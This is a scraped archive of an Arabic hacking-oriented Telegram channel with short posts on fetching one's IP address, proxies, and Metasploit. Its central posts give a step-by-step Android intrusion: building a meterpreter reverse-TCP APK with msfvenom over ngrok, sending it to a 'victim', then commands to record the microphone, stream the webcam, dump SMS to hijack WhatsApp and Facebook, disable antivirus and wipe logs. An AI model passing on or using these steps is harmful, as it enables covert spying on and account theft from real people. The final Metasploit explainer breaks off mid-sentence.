Future Code
الذهاب إلى القناة على Telegram
إظهار المزيد
لم يتم تحديد البلدالتكنولوجيات والتطبيقات36 830
2 095
المشتركون
لا توجد بيانات24 ساعات
لا توجد بيانات7 أيام
لا توجد بيانات30 أيام
أرشيف المشاركات
2 095
اسكربت بسيط جداً لأستخراج ال ip address
import requests
ip=requests.get("https://api.ipify.org").text
print(ip)
@Black_Code_22
2 095
فقرة اسئلة وافكار اذا عندك سؤال ف البرمجة اترك سؤالك وبجاوبك اذا بقدر افيدك ولو عندك افكار اتكلم وعبر عن فكرتك اذا كان سكريبت او حتى موقع او تصميم وغيره ... ⬇️🖤
2 095
فايروس بفكره بسيطه
يضل يفتح نوافذ ويتحرك ومتقدرش توقفه
اله ترست الحاسبه
يضل يفتح نوافذ لحد متعلك الحاسبه
"منقول" #
2 095
جميعنا سمعنا بالبروكسي ( Proxy ) والعديد منا ايضا , لا يستغني عنه لفتح المواقع المحجوبة او حتى في سبيل التخفي , ولكن العديد ايضا لا يعلمون ما معنى كلمة بروكسي , او فوائده الخاصة , وفي هذا الدرس سوف نتعرف اكثر على البروكسي , انواعه وفوائده …
تعريف البروكسي : البروكسي هو تطبيق يتم تركيبه على خوادم تسمى بالـ Proxy Servers , وتعتمد عليه اشباك الداخلية , ومزودو الخدمة , كوسيط بين المستخدمين والانترنت , وهو يساهم بجزء لأباس به في الحماية و السرعة و الامان , فضلا عن عزله للشبكة عن الشبكة الخارجية العالمية ( www ) .
كيف يفيدنا البروكسي في التخفي اذا ؟
كما قلنا ان البروكسي يعمل كوسيط , وكل دولة تقريبا ( او مزود خدمة ) تعتمد على بروكسي معين , حسنا ماذا لو قمنا نحن بتغيير هذا البروكسي الى بروكسي دولة اخرى ؟
فهنا لا شك انك سوف تتمتع بخصصوصية وامان تام اثناء تصفحك الانترنت , لانك سوف تاخذ IP دولة اخرى و بالتالي موقعك وهويتك على الانترنت ستتغير بحسب هذا البروكسي المستخدم
وهناك عدة انواع من البروكسي .
ما هي انواع البروكسي ؟
Anonymous : وهو يستخدم بالشكل الاسالسي للتصفح الخفي , وهو كما قلنا سابقا يقوم بتغيير منتقطك الى منطقة اخرى , اي حسب البروكسي المستخد , فاذا كان البروكسي المستخدم المانيا مثلا سوف يصبح تصفحك وكانه من المانيا , وهذا يعني انك ستتمتع بخصوصية تامة وتخفي .
High Anonymity : كذلك يستخدم للتخفي , ويستخدم ايضا لتسريع الاتصال و هو يأتي مع مزود الخدمة .
Transparent : وهذا للتصفح العادي
ما علاقة البروكسي بتخطي حجب المواقع ؟
اذا ركزنا قليلا بما سبق , يمكننا ان نعرف , لماذا البروكسي يمكننا من فتح المواقع المحجوبة …
في الحقيقة ان حجب الموقع يتعلق بدولة معينة , وبمعنى اوضح الدولة او الشركة التي تقوم بتزويد المستخدم بالانترنت ( في دولة معينة ) هي التي تقوم بتحديد المواقع المسموحة و المواقع الغير مسموحة وكل هذا يتم عبر IP الدولة بطريقة او بأخرى …
والان اتضحت القصة , فعند استعمال البروكسي , نقوم بتغيير موقع تصفحنا ( كما ذكر سابقا ) فبالتالي ان الجولة المزودة بالانترنت سوف تتغير بحسب البروكسي المستخدم .
كيف يكمن الحصول على Proxy ؟
في الحقيقة هناك عدة طرق للصحول على بروكسيات , منها عن طريق البرامج , ومنها طرق يدوية , لكن يجب التمييز بين البرامج التي تعطي اتصلات VPN والبرامج التي تعطي Proxy
فالـ VPN هو يزود المستخدم بشبكة وهمية وتؤثر على الاتصال كافة , اما البروكسي في طبيعة الحل يؤثرؤ فقط على المتصفح ( وطبعا الـ VPN يعطي خصوصية اكثر من الـ Proxy ).
by»»» @Black_Code_22
2 095
الاختراق بأداه الميتا
اول حاجه بتفتح النجروك
بعد كده تفتح صفحه اخري تكتب بها
msfconsole
msfvenom -p android/meterpreter/reverse_tcp LHOST=هوست النجروك LPORT=بورت النجروك R > /sdcard/black.apk
وكده عندك ال payload في التخزين
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT4444
بعد كده ارسل البايلود للضحيه
و اكتب
exploit
او run
By»»»» @Black_Code_22
2 095
بعض اوامر التحكم في جهاز الضحية بعد اختراقه
لأعادة تشغيل جهاز الضحية :
reboot
------------------------------------------------------------
لاطفاء جهاز الضحية :
shutdown
------------------------------------------------------------
لاضهار معلومات حول نضام الضحية مثل نضام تشغيل و لغة :
sysinfo
------------------------------------------------------------
لألتقاط صورة من شاشة الضحية :
screenshot
----------------------------------------------------------- لاضهار اتصلات الشبكة وجميع البرامج و الملفات المتصلة بالانترنت و مستهلكة للانترنت :
netstat
------------------------------------------------------------
للدخول الي الملفات الداخليه و كتابة الاوامر كأنك في جهاز الضحية :
shell
------------------------------------------------------------
لاقلاع اي برنامج علي جهاز الضحية بامر واحد منك :
execute -f mc.apk
طبعا غير < mc > الي اسم البرنامج الذي تريده ان يشتغل
------------------------------------------------------------
لاضهار جميع البرامج التي تشتغل في جهاز الضحية اكتب :
ps
------------------------------------------------------------
لرفع اي ملف من عندك الي جهاز الضحية :
upload /sdcard/doda.apk \doda.apk
استبدل doda باسم الملف او التطبيق او اي شئ تريد رفعه
طبعا هذا بعد الدخول الى مكان التطبيق او الصوره او اي شئ وطبعا لدخول اللي ملفات الضحيه اطلب الامر
cd /sdcard
---------------------------------------------------------- لتحميل اي ملف او صورةاو شيئ اخر من جهاز الضحية الي جهازك :
download doda.apk
غير doda الى اسم الملف و ايضا صيغة apk الي صيغة الملف
طبعا هذا بعد الدخول الي مكان التطبيق او الصوره او اي شئ وطبعا لدخول اللي ملفات الضحيه اطلب الامر
cd /sdcard
---------------------------------------------------------- اوامر مهمه
اولا هذا الامر
بعد دخولك مباشر على الضحيه
cd /sdcard
sdcard : هذا مكان الذاكره الداخليه
اما اذا طلبت :
cd /sdcard1
sdcard1: هذا مكان الذاكره الخارجية
اما معنى cd
هذا الامر للتنقل بين الملفات : cd
يمكنك ان تكتب .. cd للرجوع الي الوراء
وايضا للدخول لملف
cd file
للذهاب و تنقل الي ملف اخر
قم باستبدال file بـ اسم الملف الذي تريد ذهاب اليه
اما هذا الامر
pwd
هذا يبين لك اسم المكان الذي تتواجد به من البدايه للنهايه
مثال ...\...\...\...\...\
وايضا هذا الامر
ls
يظهر لك الملفات الموجودة و اين انت
وايضا
Ctrl+l
هذا لمسح الكلام الذي يتواجد في الشاشه
------------------------------------------------------------
هذا الامر لحذف اي ملف :
rm doda
قم باستبدال doda الى الملف او برنامج او صورة الذي تريد ان تحذفها
------------------------------------------------------------
لاغلاق الجلسة الاختراق لفترة معينة من الزمن طبعا هذا مهم حتي لا يشك الضحية ... :
sleep 5
غير 5 الى عدد الثواني التي تحب فيها غلق جلسة الاختراق يمكنك وضع ساعة عن طريق كتابة 3600
3600 تانية = ساعة و هكذا
------------------------------------------------------------ لمسح سجل الاحدات و الاختراق (تفيد في الحماية) :
clearev
------------------------------------------------------------
هذا الامر مفيد جدا دوره تعطيل جميع مضادات الفايروسات في جهاز الضحية :
run killav.rb
------------------------------------------------------------
للتجسس علي مايك mic الخاص بالضحية و سماع كل ما يقوله الضحية و كل صوت في غرفته :
record_mic -d 5
غير 5 الى عدد الـثواني الذي تريد تسجيل الصوت فيها مثلا 60 يسجل كل ما يقوله الضحية لمدة دقيقة
طبعا الزمن بالثانية S
-----------------------------------------------------------لالتقاط صورة من كاميرا الجهاز :
webcam_snap
----------------------------------------------------------مشاهدة كل ما يفعله الضحية من الكاميرا اي التجسس على الكاميرا :
webcam_stream -d 60
غير 60 الى عدد الثواني التي تسجل
--------------------------------------------------------- لاختراق رسائل الضحية
dump_sms
طبعا هذا الامر يفيد باختراق برامج تواصل الضحية مثل الـ واتساب والـ فايبر والـ فيس بوك والـخ ... تدخل رقم الضحية وارسال ثم سيصل الرمز لجهاز الضحية انت قم بكتابة امر اختراق رسائل الضحية وسيحفظ لك ملف بتيرمكس افتح نافذة جديدة وقم بكتابة ls سيظهر لك الـ ملف قم بكتابة
cat (اسم الملف)
مثال :
cat 99999.txt
»»» by https://t.me/black_code_22
2 095
ماهو مشروع الميتاسبلويت؟
الميتاسبلويت Metasploit هي ليست مجرد مشروع مفتوح المصدر! بل هو مشروع يهتم بالأمن المعلوماتي عبر البحث عن الثغرات الأمنية ويساعد في اختبارات الإختراق وتطوير أنظمة كشف التسللات IDS. وأهم إنجازات هذا المشروع هو منصة ميتاسبلوت المفتوحة المصدر وهي أداة تقوم بفتح منفذ في الجهاز المستهدف بهدف اختراقه.
أنشأت ميتاسبلوت من قبل فريق HD Moore سنة 2003، كأداة شبكية محمولة مبرمجة بلغة Perl. سنة 2007 ثم أعيد برمجتها كليا بواسطة لغة Ruby. سنة 2009 . أعلن أنه وقع الإستحواذ عليها من قبل شركة Rapid7، وهي شركة أمنية تبحث عن نقاط الضعف في الأنظمة وتقدم حلول لها.
الميتاسبلويت سلاح ذو حدين
كما يمكن استعمال Metasploit للبحث عن ثغرات الأنظمة فإنه يمكن من استغلالها بطريقة غير شرعية لاختراق الانظمة المختلفة.
فهي تعتبر سلاح سواء في يد الجيد Good وللسيء Bad وللغبي Ugly
ألية العمل بالميتاسبلويت
بشكل عام يمكن تلخيص مهام مشروع الميتاسبلويت لاختراق هدف بخطوات او مراحل كالأتي
اختيار واعداد الثغرة Exploit لعمل الهجوم (باختيار واحدة من بين أكثر من 1577 ثغرة موجودة على مختلف الانظمة من وندوز، ماك أو لينكس)
التحقق من أن النظام المستهدف يمكن تطبيق الإختراق عليه (بمعنى التحقق من ان الجهاز مصاب فعليا بثغرة)
اختيار واعداد البايلود Payload (وهو برمجية ضارة يرسلها المخترق للضحية لفتح قناة تواصل وتشبه في طريقة عملها فيروس حصان طروادة أو فيروس الدودة )
اختيار طريقة لتشفير البايلود Encoding Payload لتجاوز أنظمة كشف التسللات و كتلك تخطي الأنتي فايروس Bypass AV.
المرحلة الاخيرة تنفيذ الهجمة أو تشغيل الثغرة Run Exploit.
هذه الخطوات المتبعة لتنفيذ أي هجوم عبر أي بايلود وعمل الميتاسبلوت هنا هو تسهيل عمل المخترقين. كما نذكر أن الميتاسبلوت يعمل على أغلب أنظمة Unix (تشمل لينكس والماك) والوندوز وهو متوفر بعدة لغات.
مكونات مشروع الميتاسبلويت الاساسية
يجب عليك كمبتدئ معرفة كل شيء عن هذا السلاح الفتاك حتى تمضي قدما في طريق الاحتراف
مشروع الميتاسبلويت مبني على عدة مكونات أساسية, وكل بنية تمثل مجال بحد ذاته, تابع معي رعاك الله سنذكر هذه اللبنات الأساسية باللغة الانجليزية مع ترجمة بسيطة باللغة العربية حتى تستوعب, لكن يجب عليك التعامل بالمصطلحات الانجليزية اذا أردت الاحتراف فخذ الصنعة من صانعها.
Architecture - هندسة أو مخطط المشروع
Components - المكونات
Libraries - المكتبات
Interfaces - واجهات
Modules - وحدات
Utilities - خدمات
Plugins - الإضافات
1- MSF Architecture
هي أشبه بدولة داخلها مؤسسات
2- المكونات MSF Components
مشروع الميتاسبلويت يعتمد على بعض المكونات مثل:
MSF Libraries
Interfaces
Modules
Mixins
Plugins
3- المكتبات أو MSF Libraries
تتكون هذه المكتبات من ثلاث أقسام: Rex, Core, Base
1- REX وهي اختصار لجملة Ruby Extension Library
ملحوظة: (طبعا الروبي Ruby هي لغة برمجة وقد تم برمجة بها مشروع الميتاسبلويت, و Extension Library تعني مكاتب اضافية أو امتداد)
تحتوي REX على السوكيت والبروتوكولات والتحويلات النصية وغيرها من التشفيرات وبروتوكولات الشبكة.
Sockets, protocols, text transformations و SMB و SSL و HTTP و XOR و BASE64
2- النواة (Msf::Core (Core library:
يمكن تقسيمها لقسمين:
الأول الثغرات أوالاستغلالات Exploits
وهي مختلفة مثل ثغرات موجودة بقواعد البيانات والبروتوكولاتوغيرها Oracle ,MSSQL ,FTP, HTTP, SMB
القسم الثاني هو الاضافات Auxiliary
مثل برامج الفحص Scanners وبرامج التخمين BruteForce وبرامج التبليغ Reports ...
وبرامج حجب الخدمة DOS و Fuzzers و Wireless
3- (Msf::Base (Base library :
يوفر إجراءات وفئات classes التي يمكنك استخدامها للعمل بسهولة مع النواة Core
4- واجهات المشروع Metasploit Interfaces
يتكون مشروع الميتاسبلويت من أربعة واجهات أساسية مختلفة, يمكننا عن طريق هذه الواجهات بالتعامل مع الميتاسبلويت بسهولة ومرونة
MSFconsole تمثل الواجهة الاساسية ونتعامل معها بالاوامر مثل شاشة الدوس
MSFcli تشبه التعامل مع السكريبتات
MSFweb نتعامل معها عن طريق فتح متصفح الانترنت
MSFgui و Armitage من أسهل وأروع الواجهات المبرمجة بلغة الجافا القوية , وهي تأتي مع نظام الكالي لينكس أنصح المبتدئين باستعمالها و بشدة. ولكن هذا لا يعني اهمال msfconsole
5- الوحدات MSF Modules
تتكون الوحدات من عدة برامج وسكريبتات مهمة مثل:
Exploit
Auxiliary
Post-Exploitation
Payload
NOP generator
Payload encoder
6- الخدمات والادوات MSF Utilities
هناك ثلاث أدوات رئيسية مهمة مثل :
MSFpayload
ويمكنك تشبيهه بالسيرفر أو التروجان الذي نرسله للضحية بق
@Black_Code_22
2 095
